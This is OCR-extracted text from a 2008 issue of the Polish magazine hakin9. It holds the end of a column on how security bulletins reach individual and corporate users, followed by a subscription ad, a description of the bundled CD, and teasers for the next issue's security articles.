biuletynów bezpieczeństwa jest
zawsze konkretny użytkownik lub
grupa użytkowników. To, w jaki sposób
określimy końcowego odbiorcę, zależy
od zakresu, w jakim informacje o
podatności oprogramowania zostały
wykorzystane oraz w jakim stopniu
stały się one użyteczne. Może to
być użytkownik indywidualny lub
korporatywny.
Indywidualnym użytkownikiem jest
jednostka o zdefiniowanych sposobach
użytkowania systemu informatycznego,
Ostatecznym etapem każdego procesu wykrywania luki w oprogramowaniu (stanu
systemu komputerowego, który umożliwia zdobycie dostępu do danych z naruszeniem
określonych ograniczeń dostępu do tych danych) jest wykorzystanie uzyskanych
informacji w celu opublikowania biuletynu bezpieczeństwa.
Użytkownikiem
korporatywnym jest
pewna zbiorowość
złożona z użytkowników
indywidualnych, których
potrzeby posiadania
informacji na temat
stanu bezpieczeństwa
są sumą logiczną
potrzeb każdego
z użytkowników
indywidualnych
wchodzących w skład tej
zbiorowości.
Patryk Krawaczyński jest studentem trzeciego roku Informacji
Naukowej na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych
chwilach stara się prowadzić serwis na temat administracji oraz
podstawowych mechanizmów bezpieczeństwa systemu operacyjnego
Linux – www.nfsec.pl. Jego zainteresowania wiążą się także z ogólnymi
zjawiskami zachodzącymi w społeczeństwie, na które oddziałuje
Technologia Informacyjna.
Kontakt z autorem: agresor@nfsec.pl
FELIETON
78
HAKIN9 4/2008
użytkowników indywidualnych, których
potrzeby posiadania informacji na
temat stanu bezpieczeństwa są
sumą logiczną potrzeb każdego
z użytkowników indywidualnych
wchodzących w skład tej zbiorowości.
Dlatego biuletyn bezpieczeństwa
przeznaczony dla takiej zbiorowości
musi uwzględniać różne potrzeby
każdego z użytkowników
indywidualnych. Przekazanie informacji
na temat luki w systemie użytkownikowi
korporatywnemu jest przekazaniem
tej samej informacji wszystkim
indywidualnym użytkownikom do niego
należącym.
Niebezpieczeństwo związane z
przekazywaniem wrażliwych informacji
tej zbiorowości polega na tym, iż przy
założeniu, że każdy z użytkowników
indywidualnych korzysta z tego
samego rodzaju systemu czy platformy
sprzętowej, informacje mogą zostać
wykorzystane przez jednostkę, która
otrzymaną informację zinterpretuje jako
pierwsza, posiadającą dostatecznie
dużo czasu do przeprowadzenia
ataków na pozostałych użytkowników
indywidualnych.
Przykładami użytkowników
korporatywnych są przedsiębiorstwa,
urzędy administracji publicznej,
organizacje i instytucje posiadające
wiele komórek organizacyjnych i wielu
użytkowników końcowych. Tak więc
biuletyn bezpieczeństwa przeznaczony
dla zbiorowości powinien znać jej
wewnętrzną strukturę oraz obieg
informacji pomiędzy poszczególnymi
użytkownikami indywidualnymi.
Przy założeniu, że jednym wielkim
użytkownikiem korporatywnym jest
Internet, potrzeby wypuszczania
informacji na temat jego
bezpieczeństwa są zaspokojeniem
potrzeb każdego z użytkowników
stanowiących jego część składową.
Dlatego nie tylko sposób ujawniania
wrażliwej informacji jest tutaj bardzo
ważną kwestią (patrz hakin9 nr
4/2007 (24) Niezdrowe trendy w
bezpieczeństwie – full disclosure),
ale także umiejętne definiowanie,
która zbiorowość powinna zostać
poinformowana najpierw (np.
producenci oprogramowania, następnie
eksperci ds. bezpieczeństwa, a na
końcu pojedynczy użytkownicy) stwarza
możliwości projektowania bardziej
bezpiecznych i efektywnych procesów
informowania o bezpieczeństwie.
Firmy zajmujące się profesjonalnym
audytem bezpieczeństwa zdają
się o tym zapominać, działając
między dwiema skrajnościami: albo
traktują użytkowników końcowych
jako zbiorowość indywiduów, albo
postrzegają wszystkich jako jednego
użytkownika korporatywnego,
którego potrzeby określone są na
podstawie wymagań nie zawsze
dobrze interpretujących informacje
użytkowników.
Należy pamiętać, iż od sposobu, w
jaki zostanie zinterpretowany biuletyn
bezpieczeństwa, zależy to, czy zostanie
on wykorzystany w jakikolwiek inny
sposób niż być powinien.
R
E
K
L
A
M
A
v
Kontakt
1. Telefon
+48 22 427 36 93
+48 22 427 36 79
+48 22 427 36 53
2. Fax
+48 22 244 24 59
2. Online
pren@software.com.pl
3. Adres
Bokserska 1
02-682 Warszawa
Polska
Roczna prenumerata
tylko
219
hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy
administrator.
,-
v
Zamówienie prenumeraty
Imię i nazwisko ...............................................................................
Nazwa firmy.....................................................................................
Dokładny adres ..............................................................................
.........................................................................................................
Telefon ............................................................................................
E–mail .............................................................................................
ID kontrahenta ................................................................................
Numer NIP firmy .............................................................................
Fax (wraz z nr kierunkowym) .........................................................
Prosimy wypełniać czytelnie i przesyłać faksem na numer:
00 48 22 244 24 59
lub listownie na adres:
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail: pren@software.com.pl
Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53
Jeżeli chcesz zapłacić kartą kredytową,
wejdź na stronę naszego sklepu internetowego www.buyitpress.com.
Prenumerujesz
– zyskujesz
l
oszczędność
pieniędzy
l
szybka dostawa
l
prezenty
l
bezpieczna płatność
ność on–line
Tytuł
Ilość
nume-
rów
Ilość
zama-
wianych
prenume-
rat
Od
numeru
pisma
lub mie-
siąca
Cena
hakin9, jak się obronić
(1 płyta CD)
Miesięcznik o
bezpieczeństwie
i hakingu
11
199*/
219
PLN
□ automatyczne przedłużenie prenumeraty
* cena prenumeraty rocznej dla osób prywatnych
Zadzwoń
+48 22 427 36 93
lub
zamów
mailowo!
82
HAKIN9 1/2008
ZA MIESIĄC
W następnym numerze między innymi:
Numer będzie w sprzedaży
na początku maja 2008
Aktualne informacje o najbliższym numerze
znajdziesz na naszej stronie www.hakin9.org/pl.
NA CD
Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live(h9l)
w wersji 4.0.3 on BackTrack2.0, zawierająca przydatne narzędzia,
dokumentację, tutoriale i materiały dodatkowe do artykułów
hakin9.live – bootowalna dystrybucja Linuksa,
mnóstwo narzędzi – niezbędnik hakera,
tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
dodatkowa dokumentacja,
pełne wersje komercyjnych aplikacji.
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
OBRONA
PRZEPEŁNIENIE BUFORA I POKREWNE
- JAK ZAPOBIEGAĆ
Bezpieczeństwo oprogramowania to jeden
z największych problemów w branżach
zaawansowanych technologii. Przepełnienie
bufora to błąd, wywołujący największe
obawy, ale również błąd, którego istota
często jest błędnie pojmowana. Czyli dobre
praktyki programistyczne zapewniające
podstawowe bezpieczeństwo aplikacji.
SUHOSIN: ANIOŁ STRÓŻ PHP
Bezpieczeństwo aplikacji WWW bardzo
kuleje, a prostota tworzenia ich w języku
PHP daje im bardzo dużą popularność.
Problem z utrzymywaniem aplikacji
pochodzących z trzeciej ręki rośnie;
nie każda firma przeprowadza testy
bezpieczeństwa swoich produktów, a i one
nie zawsze są skuteczne w 100%.
PEACH 2.0 – ZAAWANSOWANY
FUZZING
Testowanie aplikacji pod kątem
ewentualnych luk na pewno nie jest
czynnością łatwą. W celu zwiększenia
komfortu pracy i szybkości wykonywanych
działań warto posłużyć się odpowiednim i
profesjonalnymi narzędziem, Peach 2.0.
WSPÓCZESNE ROZWIZANIA
WIELOSILNIKOWE
Zagadnienia zwizane z bezpieczestwem
systemów komputerowych w
przedsibiorstwach nabray w cigu ostatnich
lat ogromnego znaczenia. Powodem
zaistniaej sytuacji sta si wzrost iloci rónych
typów zoliwego oprogramowania oraz
metod rozpowszechniania go w sieci
Internet.
ATAK
HAKOWANIE APPLE
Apple od dawna jest producentem
oprogramowania do odtwarzania
multimediów. Jego produkty takie
jak QuickTime czy iTunes zyskały
sobie ogromną popularność wśród
użytkowników, szczególnie, gdy
posiadali oni inny produkt Apple
– iPod'a. Jednak bezpieczeństwo
użytkowników oprogramowania Apple
zostało nadszarpnięte – odkryto lukę,
która pozwala na przejęcie kontroli
nad komputerem ofiary – użytkownika
programu QuickTime
BEZPIECZNE PROGRAMOWANIE
SERWERÓW SIECIOWYCH
System oprogramowania trapdoor2
jest przykładem napisania technik
programistycznych jako ochrony przed
atakami przy uzyciu języka C.